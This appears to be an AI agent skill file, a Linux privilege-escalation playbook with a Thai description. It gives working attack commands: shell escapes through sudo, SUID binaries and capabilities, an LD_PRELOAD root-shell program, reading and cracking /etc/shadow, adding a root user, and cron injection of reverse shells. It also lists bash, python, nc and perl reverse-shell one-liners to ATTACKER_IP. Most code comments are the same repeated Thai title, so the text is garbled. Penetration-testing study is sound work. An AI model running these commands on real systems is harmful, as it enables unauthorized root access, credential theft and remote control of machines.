---
name: Linux Privilege Escalation
description: "สกิลสำหรับ การยกระดับสิทธิ์บน Linux ใช้เมื่อต้องการแนวทาง ขั้นตอน Template หรือคำแนะนำเชิงปฏิบัติสำหรับงาน IT, SysAdmin, Infrastructure, Security, Network, Server และระบบปฏิบัติการ ในหัวข้อนี้"
metadata:
  author: zebbern
  version: "1.1"
---

# การยกระดับสิทธิ์บน Linux

## Purpose

Execute systematic privilege escalation assessments on Linux systems to identify and exploit misconfigurations, vulnerable services, and security weaknesses that allow elevation from low-privilege user access to root-level control. This skill enables comprehensive enumeration and exploitation of kernel vulnerabilities, sudo misconfigurations, SUID binaries, cron jobs, capabilities, PATH hijacking, and NFS weaknesses.

## Inputs / Prerequisites

### Required Access
- Low-privilege shell access to target Linux system
- Ability to execute commands (interactive or semi-interactive shell)
- Network access for reverse shell connections (if needed)
- Attacker machine for payload hosting and receiving shells

### Technical Requirements
- Understanding of Linux filesystem permissions and ownership
- Familiarity with common Linux utilities and scripting
- Knowledge of kernel versions and associated vulnerabilities
- Basic understanding of compilation (gcc) for custom exploits

### Recommended Tools
- LinPEAS, LinEnum, or Linux Smart Enumeration scripts
- Linux Exploit Suggester (LES)
- GTFOBins reference for binary exploitation
- John the Ripper or Hashcat for password cracking
- Netcat or similar for reverse shells

## Outputs / Deliverables

### Primary Outputs
- Root shell access on target system
- Privilege escalation path documentation
- System enumeration findings report
- Recommendations for remediation

### Evidence Artifacts
- Screenshots of successful privilege escalation
- Command output logs demonstrating root access
- Identified vulnerability details
- Exploited configuration files

## Core Workflow

### Phase 1: System Enumeration

#### Basic System Information
Gather fundamental system details for vulnerability research:

```bash
# การยกระดับสิทธิ์บน Linux
hostname

# การยกระดับสิทธิ์บน Linux
uname -a

# การยกระดับสิทธิ์บน Linux
cat /proc/version

# การยกระดับสิทธิ์บน Linux
cat /etc/issue
cat /etc/*-release

# การยกระดับสิทธิ์บน Linux
arch
```

#### User and Permission Enumeration

```bash
# การยกระดับสิทธิ์บน Linux
whoami
id

# การยกระดับสิทธิ์บน Linux
cat /etc/passwd | grep -v nologin | grep -v false

# การยกระดับสิทธิ์บน Linux
cat /etc/passwd | grep home

# การยกระดับสิทธิ์บน Linux
groups

# การยกระดับสิทธิ์บน Linux
w
who
```

#### Network Information

```bash
# การยกระดับสิทธิ์บน Linux
ifconfig
ip addr

# การยกระดับสิทธิ์บน Linux
ip route

# การยกระดับสิทธิ์บน Linux
netstat -antup
ss -tulpn

# การยกระดับสิทธิ์บน Linux
netstat -l
```

#### Process and Service Enumeration

```bash
# การยกระดับสิทธิ์บน Linux
ps aux
ps -ef

# การยกระดับสิทธิ์บน Linux
ps axjf

# การยกระดับสิทธิ์บน Linux
ps aux | grep root
```

#### Environment Variables

```bash
# การยกระดับสิทธิ์บน Linux
env

# การยกระดับสิทธิ์บน Linux
echo $PATH
```

### Phase 2: Automated Enumeration

Deploy automated scripts for comprehensive enumeration:

```bash
# การยกระดับสิทธิ์บน Linux
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh

# การยกระดับสิทธิ์บน Linux
./LinEnum.sh -t

# การยกระดับสิทธิ์บน Linux
./lse.sh -l 1

# การยกระดับสิทธิ์บน Linux
./les.sh
```

Transfer scripts to target system:

```bash
# การยกระดับสิทธิ์บน Linux
python3 -m http.server 8000

# การยกระดับสิทธิ์บน Linux
wget http://ATTACKER_IP:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
```

### Phase 3: Kernel Exploits

#### Identify Kernel Version

```bash
uname -r
cat /proc/version
```

#### Search for Exploits

```bash
# การยกระดับสิทธิ์บน Linux
./linux-exploit-suggester.sh

# การยกระดับสิทธิ์บน Linux
searchsploit linux kernel [version]
```

#### Common Kernel Exploits

| Kernel Version | Exploit | CVE |
|---------------|---------|-----|
| 2.6.x - 3.x | Dirty COW | CVE-2016-5195 |
| 4.4.x - 4.13.x | Double Fetch | CVE-2017-16995 |
| 5.8+ | Dirty Pipe | CVE-2022-0847 |

#### Compile and Execute

```bash
# การยกระดับสิทธิ์บน Linux
wget http://ATTACKER_IP/exploit.c

# การยกระดับสิทธิ์บน Linux
gcc exploit.c -o exploit

# การยกระดับสิทธิ์บน Linux
./exploit
```

### Phase 4: Sudo Exploitation

#### Enumerate Sudo Privileges

```bash
sudo -l
```

#### GTFOBins Sudo Exploitation
Reference https://gtfobins.github.io for exploitation commands:

```bash
# การยกระดับสิทธิ์บน Linux
sudo vim -c ':!/bin/bash'

# การยกระดับสิทธิ์บน Linux
sudo find . -exec /bin/sh \; -quit

# การยกระดับสิทธิ์บน Linux
sudo awk 'BEGIN {system("/bin/bash")}'

# การยกระดับสิทธิ์บน Linux
sudo python -c 'import os; os.system("/bin/bash")'

# การยกระดับสิทธิ์บน Linux
sudo less /etc/passwd
!/bin/bash
```

#### LD_PRELOAD Exploitation
When env_keep includes LD_PRELOAD:

```c
// shell.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/bash");
}
```

```bash
# การยกระดับสิทธิ์บน Linux
gcc -fPIC -shared -o shell.so shell.c -nostartfiles

# การยกระดับสิทธิ์บน Linux
sudo LD_PRELOAD=/tmp/shell.so find
```

### Phase 5: SUID Binary Exploitation

#### Find SUID Binaries

```bash
find / -type f -perm -04000 -ls 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
```

#### Exploit SUID Binaries
Reference GTFOBins for SUID exploitation:

```bash
# การยกระดับสิทธิ์บน Linux
LFILE=/etc/shadow
base64 "$LFILE" | base64 -d

# การยกระดับสิทธิ์บน Linux
cp /bin/bash /tmp/bash
chmod +s /tmp/bash
/tmp/bash -p

# การยกระดับสิทธิ์บน Linux
find . -exec /bin/sh -p \; -quit
```

#### Password Cracking via SUID

```bash
# การยกระดับสิทธิ์บน Linux
base64 /etc/shadow | base64 -d > shadow.txt
base64 /etc/passwd | base64 -d > passwd.txt

# การยกระดับสิทธิ์บน Linux
unshadow passwd.txt shadow.txt > hashes.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
```

#### Add User to passwd (if nano/vim has SUID)

```bash
# การยกระดับสิทธิ์บน Linux
openssl passwd -1 -salt new newpassword

# การยกระดับสิทธิ์บน Linux
newuser:$1$new$p7ptkEKU1HnaHpRtzNizS1:0:0:root:/root:/bin/bash
```

### Phase 6: Capabilities Exploitation

#### Enumerate Capabilities

```bash
getcap -r / 2>/dev/null
```

#### Exploit Capabilities

```bash
# การยกระดับสิทธิ์บน Linux
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

# การยกระดับสิทธิ์บน Linux
./vim -c ':py3 import os; os.setuid(0); os.execl("/bin/bash", "bash", "-c", "reset; exec bash")'

# การยกระดับสิทธิ์บน Linux
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'
```

### Phase 7: Cron Job Exploitation

#### Enumerate Cron Jobs

```bash
# การยกระดับสิทธิ์บน Linux
cat /etc/crontab

# การยกระดับสิทธิ์บน Linux
ls -la /var/spool/cron/crontabs/

# การยกระดับสิทธิ์บน Linux
ls -la /etc/cron.*

# การยกระดับสิทธิ์บน Linux
systemctl list-timers
```

#### Exploit Writable Cron Scripts

```bash
# การยกระดับสิทธิ์บน Linux
ls -la /opt/backup.sh        # Check permissions
echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /opt/backup.sh

# การยกระดับสิทธิ์บน Linux
echo -e '#!/bin/bash\nbash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' > /home/user/antivirus.sh
chmod +x /home/user/antivirus.sh
```

### Phase 8: PATH Hijacking

```bash
# การยกระดับสิทธิ์บน Linux
strings /usr/local/bin/suid-binary
# การยกระดับสิทธิ์บน Linux

# การยกระดับสิทธิ์บน Linux
export PATH=/tmp:$PATH
echo -e '#!/bin/bash\n/bin/bash -p' > /tmp/service
chmod +x /tmp/service
/usr/local/bin/suid-binary      # Execute SUID binary
```

### Phase 9: NFS Exploitation

```bash
# การยกระดับสิทธิ์บน Linux
cat /etc/exports

# การยกระดับสิทธิ์บน Linux
showmount -e TARGET_IP
mount -o rw TARGET_IP:/share /tmp/nfs

# การยกระดับสิทธิ์บน Linux
echo 'int main(){setuid(0);setgid(0);system("/bin/bash");return 0;}' > /tmp/nfs/shell.c
gcc /tmp/nfs/shell.c -o /tmp/nfs/shell && chmod +s /tmp/nfs/shell

# การยกระดับสิทธิ์บน Linux
/share/shell
```

## Quick Reference

### Enumeration Commands Summary
| Purpose | Command |
|---------|---------|
| Kernel version | `uname -a` |
| Current user | `id` |
| Sudo rights | `sudo -l` |
| SUID files | `find / -perm -u=s -type f 2>/dev/null` |
| Capabilities | `getcap -r / 2>/dev/null` |
| Cron jobs | `cat /etc/crontab` |
| Writable dirs | `find / -writable -type d 2>/dev/null` |
| NFS exports | `cat /etc/exports` |

### Reverse Shell One-Liners
```bash
# การยกระดับสิทธิ์บน Linux
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1

# การยกระดับสิทธิ์บน Linux
python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'

# การยกระดับสิทธิ์บน Linux
nc -e /bin/bash ATTACKER_IP 4444

# การยกระดับสิทธิ์บน Linux
perl -e 'use Socket;$i="ATTACKER_IP";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");'
```

### Key Resources
- GTFOBins: https://gtfobins.github.io
- LinPEAS: https://github.com/carlospolop/PEASS-ng
- Linux Exploit Suggester: https://github.com/mzet-/linux-exploit-suggester

## Constraints and Guardrails

### Operational Boundaries
- Verify kernel exploits in test environment before production use
- Failed kernel exploits may crash the system
- Document all changes made during privilege escalation
- Maintain access persistence only as authorized

### Technical Limitations
- Modern kernels may have exploit mitigations (ASLR, SMEP, SMAP)
- AppArmor/SELinux may restrict exploitation techniques
- Container environments limit kernel-level exploits
- Hardened systems may have restricted sudo configurations

### Legal and Ethical Requirements
- Written authorization required before testing
- Stay within defined scope boundaries
- Report critical findings immediately
- Do not access data beyond scope requirements

## Examples

### Example 1: Sudo to Root via find

**Scenario**: User has sudo rights for find command

```bash
$ sudo -l
User user may run the following commands:
    (root) NOPASSWD: /usr/bin/find

$ sudo find . -exec /bin/bash \; -quit
# การยกระดับสิทธิ์บน Linux
uid=0(root) gid=0(root) groups=0(root)
```

### Example 2: SUID base64 for Shadow Access

**Scenario**: base64 binary has SUID bit set

```bash
$ find / -perm -u=s -type f 2>/dev/null | grep base64
/usr/bin/base64

$ base64 /etc/shadow | base64 -d
root:$6$xyz...:18000:0:99999:7:::

# การยกระดับสิทธิ์บน Linux
$ john --wordlist=rockyou.txt shadow.txt
```

### Example 3: Cron Job Script Hijacking

**Scenario**: Root cron job executes writable script

```bash
$ cat /etc/crontab
* * * * * root /opt/scripts/backup.sh

$ ls -la /opt/scripts/backup.sh
-rwxrwxrwx 1 root root 50 /opt/scripts/backup.sh

$ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' >> /opt/scripts/backup.sh

# การยกระดับสิทธิ์บน Linux
$ /tmp/bash -p
# การยกระดับสิทธิ์บน Linux
uid=1000(user) gid=1000(user) euid=0(root)
```

## Troubleshooting

| Issue | Solutions |
|-------|-----------|
| Exploit compilation fails | Check for gcc: `which gcc`; compile on attacker for same arch; use `gcc -static` |
| Reverse shell not connecting | Check firewall; try ports 443/80; use staged payloads; check egress filtering |
| SUID binary not exploitable | Verify version matches GTFOBins; check AppArmor/SELinux; some binaries drop privileges |
| Cron job not executing | Verify cron running: `service cron status`; check +x permissions; verify PATH in crontab |
